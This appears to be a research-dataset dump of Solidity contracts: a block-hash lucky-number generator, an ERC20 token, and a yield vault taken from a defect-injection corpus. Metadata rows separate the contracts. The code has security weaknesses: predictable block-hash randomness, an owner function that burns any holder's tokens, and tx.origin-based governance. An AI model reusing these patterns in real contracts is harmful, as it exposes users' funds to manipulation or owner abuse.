return whiteList[_proxy];
}
function removeProxy(address _proxy)
onlyOwner
public
returns (bool) {
delete whiteList[_proxy];
return true;
}
// Allow the owner to cash out the holdings of this contract.
function withdraw(address _recipient, uint256 _balance)
onlyOwner
public
returns (bool) {
_recipient.transfer(_balance);
return true;
}
// Assume that simple transactions are trying to request a number,
// unless it is from the owner.
function () payable public {
if (msg.sender != owner) {
requestNumber(msg.sender, max, waitTime);
}
}
// Request a Number ... *~>
function requestNumber(address _requestor, uint256 _max, uint8 _waitTime)
payable
public {
// external requirement:
// value must exceed cost
// unless address is whitelisted
if (!whiteList[msg.sender]) {
require(!(msg.value < cost));
}
// internal requirement:
// request address must not have pending number
assert(!checkNumber(_requestor));
// set pending number
pendingNumbers[_requestor] = PendingNumber({
proxy: tx.origin,
renderedNumber: 0,
max: max,
creationBlockNumber: block.number,
waitTime: waitTime
});
if (_max > 1) {
pendingNumbers[_requestor].max = _max;
}
// max 250 wait to leave a few blocks
// for the reveal transction to occur
// and write from the pending numbers block
// before it expires
if (_waitTime > 0 && _waitTime < 250) {
pendingNumbers[_requestor].waitTime = _waitTime;
}
EventLuckyNumberRequested(_requestor, pendingNumbers[_requestor].max, pendingNumbers[_requestor].creationBlockNumber, pendingNumbers[_requestor].waitTime);
}
// Reveal your number ... *~>
// Only requestor or proxy can generate the number
function revealNumber(address _requestor)
public
payable {
assert(_canReveal(_requestor, msg.sender));
_revealNumber(_requestor);
}
// Internal implementation of revealNumber().
function _revealNumber(address _requestor)
internal {
// waitTime has passed, render this requestor's number.
uint256 luckyBlock = _revealBlock(_requestor);
//
// TIME LIMITATION:
// blocks older than (currentBlock - 256)
// "expire" and read the same hash as most recent valid block
//
uint256 luckyNumber = getRand(luckyBlock, pendingNumbers[_requestor].max);
// set new values
pendingNumbers[_requestor].renderedNumber = luckyNumber;
// event
EventLuckyNumberRevealed(_requestor, pendingNumbers[_requestor].creationBlockNumber, pendingNumbers[_requestor].renderedNumber);
// zero out wait blocks since this is now inactive(record keeping)
pendingNumbers[_requestor].waitTime = 0;
}
function canReveal(address _requestor)
public
constant
returns (bool, uint, uint, address, address) {
return (_canReveal(_requestor, msg.sender), _remainingBlocks(_requestor), _revealBlock(_requestor), _requestor, msg.sender);
}
function _canReveal(address _requestor, address _proxy)
internal
constant
returns (bool) {
// check for pending number request
if (checkNumber(_requestor)) {
// check for no remaining blocks to be mined
// must wait for `pendingNumbers[_requestor].waitTime` to be excceeded
if (_remainingBlocks(_requestor) == 0) {
// check for ownership
if (pendingNumbers[_requestor].proxy == _requestor || pendingNumbers[_requestor].proxy == _proxy) {
return true;
}
}
}
return false;
}
function _remainingBlocks(address _requestor)
internal
constant
returns (uint) {
uint256 revealBlock = safeAdd(pendingNumbers[_requestor].creationBlockNumber, pendingNumbers[_requestor].waitTime);
uint256 remainingBlocks = 0;
if (revealBlock > block.number) {
remainingBlocks = safeSubtract(revealBlock, block.number);
}
return remainingBlocks;
}
function _revealBlock(address _requestor)
internal
constant
returns (uint) {
// add wait block time
// to creation block time
// then subtract 1
return safeAdd(pendingNumbers[_requestor].creationBlockNumber, pendingNumbers[_requestor].waitTime);
}
function getNumber(address _requestor)
public
constant
returns (uint, uint, uint, address) {
return (pendingNumbers[_requestor].renderedNumber, pendingNumbers[_requestor].max, pendingNumbers[_requestor].creationBlockNumber, _requestor);
}
// is a number pending for this requestor?
// TRUE: there is a number pending
// can not request, can reveal
// FALSE: there is not a number yet pending
function checkNumber(address _requestor)
public
constant
returns (bool) {
if (pendingNumbers[_requestor].renderedNumber == 0 && pendingNumbers[_requestor].waitTime > 0) {
return true;
}
return false;
}
// 0xMMWKkk0KN/>HBBi/MASSa/DANTi/LANTen.MI.MI.MI.M+.+.+.M->MMMWNKOkOKWJ.J.J.M //
}
| 179,391 | 12,033 |
40eca87e71ec69eccd875d5282c0b3dbe21a69eb0950f768fcab63c5c1f0f628
| 12,758 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/7824_9973_0xac0c8da4a4748d8d821a0973d00b157aa78c473d.sol
| 3,035 | 12,496 |
// SPDX-License-Identifier: none
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract YFO is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _isAdmin;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 230,103 | 12,034 |
7a0204efcaa7021f30142dcbb108e4eef5c0c6b5fe6787b0c5d4cc83cd22baa3
| 20,462 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/contractExtractor/nonStandardNamingExtractor/testCase/0x1d8a3ff449c2baab6aee62f514ae0db7cde4ae75_nonStandardNaming.sol
| 6,558 | 20,084 |
pragma solidity ^0.5.15;
interface IERC20 {
function TOTALSUPPLY265() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF676(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER585(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE478(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE401(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM799(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER297(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL288(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _MSGSENDER981() internal view returns (address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
function _MSGDATA870() internal view returns (bytes memory) { //inject NONSTANDARD NAMING
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OWNERSHIPTRANSFERRED51(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING
constructor () internal {
_owner = _MSGSENDER981();
emit OWNERSHIPTRANSFERRED51(address(0), _owner);
}
function OWNER52() public view returns (address) { //inject NONSTANDARD NAMING
return _owner;
}
modifier ONLYOWNER947() { //inject NONSTANDARD NAMING
require(ISOWNER855(), "Ownable: caller is not the owner");
_;
}
function ISOWNER855() public view returns (bool) { //inject NONSTANDARD NAMING
return _MSGSENDER981() == _owner;
}
function RENOUNCEOWNERSHIP936() public ONLYOWNER947 { //inject NONSTANDARD NAMING
emit OWNERSHIPTRANSFERRED51(_owner, address(0));
_owner = address(0);
}
function TRANSFEROWNERSHIP177(address newOwner) public ONLYOWNER947 { //inject NONSTANDARD NAMING
_TRANSFEROWNERSHIP636(newOwner);
}
function _TRANSFEROWNERSHIP636(address newOwner) internal { //inject NONSTANDARD NAMING
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OWNERSHIPTRANSFERRED51(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function TOTALSUPPLY265() public view returns (uint256) { //inject NONSTANDARD NAMING
return _totalSupply;
}
function BALANCEOF676(address account) public view returns (uint256) { //inject NONSTANDARD NAMING
return _balances[account];
}
function TRANSFER585(address recipient, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER399(_MSGSENDER981(), recipient, amount);
return true;
}
function ALLOWANCE478(address owner, address spender) public view returns (uint256) { //inject NONSTANDARD NAMING
return _allowances[owner][spender];
}
function APPROVE401(address spender, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE768(_MSGSENDER981(), spender, amount);
return true;
}
function TRANSFERFROM799(address sender, address recipient, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER399(sender, recipient, amount);
_APPROVE768(sender, _MSGSENDER981(), _allowances[sender][_MSGSENDER981()].SUB171(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function INCREASEALLOWANCE254(address spender, uint256 addedValue) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE768(_MSGSENDER981(), spender, _allowances[_MSGSENDER981()][spender].ADD125(addedValue));
return true;
}
function DECREASEALLOWANCE775(address spender, uint256 subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING
_APPROVE768(_MSGSENDER981(), spender, _allowances[_MSGSENDER981()][spender].SUB171(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _TRANSFER399(address sender, address recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].SUB171(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].ADD125(amount);
emit TRANSFER297(sender, recipient, amount);
}
function _MINT552(address account, uint256 amount) internal { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.ADD125(amount);
_balances[account] = _balances[account].ADD125(amount);
emit TRANSFER297(address(0), account, amount);
}
function _BURN908(address account, uint256 amount) internal { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].SUB171(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.SUB171(amount);
emit TRANSFER297(account, address(0), amount);
}
function _APPROVE768(address owner, address spender, uint256 amount) internal { //inject NONSTANDARD NAMING
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit APPROVAL288(owner, spender, amount);
}
function _BURNFROM359(address account, uint256 amount) internal { //inject NONSTANDARD NAMING
_BURN908(account, amount);
_APPROVE768(account, _MSGSENDER981(), _allowances[account][_MSGSENDER981()].SUB171(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function NAME677() public view returns (string memory) { //inject NONSTANDARD NAMING
return _name;
}
function SYMBOL955() public view returns (string memory) { //inject NONSTANDARD NAMING
return _symbol;
}
function DECIMALS596() public view returns (uint8) { //inject NONSTANDARD NAMING
return _decimals;
}
}
library SafeMath {
function ADD125(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB171(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB171(a, b, "SafeMath: subtraction overflow");
}
function SUB171(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL207(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV619(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV619(a, b, "SafeMath: division by zero");
}
function DIV619(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function MOD550(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD550(a, b, "SafeMath: modulo by zero");
}
function MOD550(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function ISCONTRACT651(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function TOPAYABLE339(address account) internal pure returns (address payable) { //inject NONSTANDARD NAMING
return address(uint160(account));
}
function SENDVALUE156(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function SAFETRANSFER644(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING
CALLOPTIONALRETURN428(token, abi.encodeWithSelector(token.TRANSFER585.selector, to, value));
}
function SAFETRANSFERFROM18(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING
CALLOPTIONALRETURN428(token, abi.encodeWithSelector(token.TRANSFERFROM799.selector, from, to, value));
}
function SAFEAPPROVE229(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
require((value == 0) || (token.ALLOWANCE478(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
CALLOPTIONALRETURN428(token, abi.encodeWithSelector(token.APPROVE401.selector, spender, value));
}
function SAFEINCREASEALLOWANCE497(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE478(address(this), spender).ADD125(value);
CALLOPTIONALRETURN428(token, abi.encodeWithSelector(token.APPROVE401.selector, spender, newAllowance));
}
function SAFEDECREASEALLOWANCE975(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE478(address(this), spender).SUB171(value, "SafeERC20: decreased allowance below zero");
CALLOPTIONALRETURN428(token, abi.encodeWithSelector(token.APPROVE401.selector, spender, newAllowance));
}
function CALLOPTIONALRETURN428(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING
require(address(token).ISCONTRACT651(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Controller {
function WITHDRAW158(address, uint) external; //inject NONSTANDARD NAMING
function BALANCEOF676(address) external view returns (uint); //inject NONSTANDARD NAMING
function EARN532(address, uint) external; //inject NONSTANDARD NAMING
function REWARDS630() external view returns (address); //inject NONSTANDARD NAMING
}
// vault1111 111111111111
// abi1111: https://github.com/ystar-foundation/YstarFarming/blob/master/Vault/abi/vault.json
contract Vault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IERC20 public token;
IERC20 public YFToken; // YF1111
uint public min = 9500;
uint public constant max986 = 10000; //inject NONSTANDARD NAMING
uint public earnLowerlimit; //1111111111111earn
address public governance;
address public controller;
struct Player {
uint256 stake; // 1111
uint256 payout; // 11
uint256 total_out; // 1111111
}
mapping(address => Player) public player_; // (player => data) player data
struct Global {
uint256 total_stake; // 11111
uint256 total_out; // 11111
uint256 earnings_per_share; // 1111
}
mapping(uint256 => Global) public global_; // (global => data) global data
mapping (address => uint256) public deposittime;
uint256 constant internal magnitude720 = 10**40; // 1014011 //inject NONSTANDARD NAMING
address constant public yf82 = address(0x96F9632b25f874769969ff91219fCCb6ceDf26D2); //inject NONSTANDARD NAMING
string public getName;
constructor (address _token, uint256 _earnLowerlimit) public {
token = IERC20(_token);
getName = string(abi.encodePacked("yf:Vault:", ERC20Detailed(_token).NAME677()));
earnLowerlimit = _earnLowerlimit*1e18;
YFToken = IERC20(yf82);
governance = tx.origin;
controller = 0xcC8d36211374a08fC61d74ed2E48e22b922C9D7C;
}
function BALANCE265() public view returns (uint) { //inject NONSTANDARD NAMING
return token.BALANCEOF676(address(this))
.ADD125(Controller(controller).BALANCEOF676(address(token)));
}
function SETMIN245(uint _min) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
min = _min;
}
// 11111111111111111111
function SETGOVERNANCE992(address _governance) public { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
governance = _governance;
}
// 1111token
function SETTOKEN102(address _token) public { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
token = IERC20(_token);
}
// 1111111111111111111
function SETCONTROLLER604(address _controller) public { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
controller = _controller;
}
function SETEARNLOWERLIMIT476(uint256 _earnLowerlimit) public{ //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
earnLowerlimit = _earnLowerlimit;
}
// Custom logic in here for how much the vault allows to be borrowed
// Sets minimum required on-hand to keep small withdrawals cheap
// 11111111111
// 111111111111111111111
function AVAILABLE23() public view returns (uint) { //inject NONSTANDARD NAMING
return token.BALANCEOF676(address(this)).MUL207(min).DIV619(max986); // balance*min/max 1111111111111111111
}
// 11111Strategy1111111111111 vault->controller->strategy
function EARN532() public { //inject NONSTANDARD NAMING
uint _bal = AVAILABLE23(); // 1111111111111111111111
token.SAFETRANSFER644(controller, _bal); // 1111111
Controller(controller).EARN532(address(token), _bal); // 11111Strategy111111
}
// 11 111111
function DEPOSIT245(uint amount) external { //inject NONSTANDARD NAMING
// 111111111111111111appove1111111111111
token.SAFETRANSFERFROM18(msg.sender, address(this), amount);
// 1111111111
player_[msg.sender].stake = player_[msg.sender].stake.ADD125(amount);
// 11111110
if (global_[0].earnings_per_share != 0) {
player_[msg.sender].payout = player_[msg.sender].payout.ADD125(global_[0].earnings_per_share.MUL207(amount).SUB171(1).DIV619(magnitude720).ADD125(1) // (((earnings_per_share*amount)-1)/magnitude)+1);
}
// 1111111111
global_[0].total_stake = global_[0].total_stake.ADD125(amount);
// 111111111111111111111111111111111111111111111
if (token.BALANCEOF676(address(this)) > earnLowerlimit){
EARN532();
}
// 11111111
deposittime[msg.sender] = now;
}
// No rebalance implementation for lower fees and faster swaps
// 11
function WITHDRAW158(uint amount) external { //inject NONSTANDARD NAMING
CLAIM365(); // 111111111111
require(amount <= player_[msg.sender].stake, "!balance");
uint r = amount;
// Check balance
uint b = token.BALANCEOF676(address(this));
if (b < r) { // 11vault111111111111111111111Strategy11111111111
uint _withdraw = r.SUB171(b);
Controller(controller).WITHDRAW158(address(token), _withdraw); // 11
uint _after = token.BALANCEOF676(address(this));
uint _diff = _after.SUB171(b);
if (_diff < _withdraw) { // 111111111111111111111vault111111
r = b.ADD125(_diff);
}
}
// 111111111111111111111
player_[msg.sender].payout = player_[msg.sender].payout.SUB171(global_[0].earnings_per_share.MUL207(amount).DIV619(magnitude720));
// 1111111111111
player_[msg.sender].stake = player_[msg.sender].stake.SUB171(amount);
global_[0].total_stake = global_[0].total_stake.SUB171(amount);
// 1111111111
token.SAFETRANSFER644(msg.sender, r);
}
// Strategy.harvest 111111
function MAKE_PROFIT788(uint256 amount) public { //inject NONSTANDARD NAMING
require(amount > 0, "not 0");
YFToken.SAFETRANSFERFROM18(msg.sender, address(this), amount); // 1111111111111110%1111190%1111111
global_[0].earnings_per_share = global_[0].earnings_per_share.ADD125(amount.MUL207(magnitude720).DIV619(global_[0].total_stake));
global_[0].total_out = global_[0].total_out.ADD125(amount);
}
// 11111111
function CAL_OUT246(address user) public view returns (uint256) { //inject NONSTANDARD NAMING
uint256 _cal = global_[0].earnings_per_share.MUL207(player_[user].stake).DIV619(magnitude720);
if (_cal < player_[user].payout) {
return 0;
} else {
return _cal.SUB171(player_[user].payout);
}
}
// 11111111111111111111111111.11111111111harvest1111111111
function CAL_OUT_PENDING918(uint256 _pendingBalance,address user) public view returns (uint256) { //inject NONSTANDARD NAMING
uint256 _earnings_per_share = global_[0].earnings_per_share.ADD125(_pendingBalance.MUL207(magnitude720).DIV619(global_[0].total_stake));
uint256 _cal = _earnings_per_share.MUL207(player_[user].stake).DIV619(magnitude720);
_cal = _cal.SUB171(CAL_OUT246(user));
if (_cal < player_[user].payout) {
return 0;
} else {
return _cal.SUB171(player_[user].payout);
}
}
// 111111
function CLAIM365() public { //inject NONSTANDARD NAMING
uint256 out = CAL_OUT246(msg.sender);
player_[msg.sender].payout = global_[0].earnings_per_share.MUL207(player_[msg.sender].stake).DIV619(magnitude720);
player_[msg.sender].total_out = player_[msg.sender].total_out.ADD125(out);
if (out > 0) {
uint256 _depositTime = now - deposittime[msg.sender];
if (_depositTime < 1 days){ // deposit in 24h
uint256 actually_out = _depositTime.MUL207(out).MUL207(1e18).DIV619(1 days).DIV619(1e18);
uint256 to_team = out.SUB171(actually_out);
YFToken.SAFETRANSFER644(Controller(controller).REWARDS630(), to_team);
out = actually_out;
}
YFToken.SAFETRANSFER644(msg.sender, out);
}
}
}
| 277,439 | 12,035 |
9a73bcf9e2a7975584e83f710baafd377449bb6cb8556718d5d30cf9e6b3e189
| 17,520 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x77f6A5f1B7a2b6D6C322Af8581317D6Bb0a52689/contract.sol
| 4,222 | 16,765 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.7.6 <0.8.0;
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
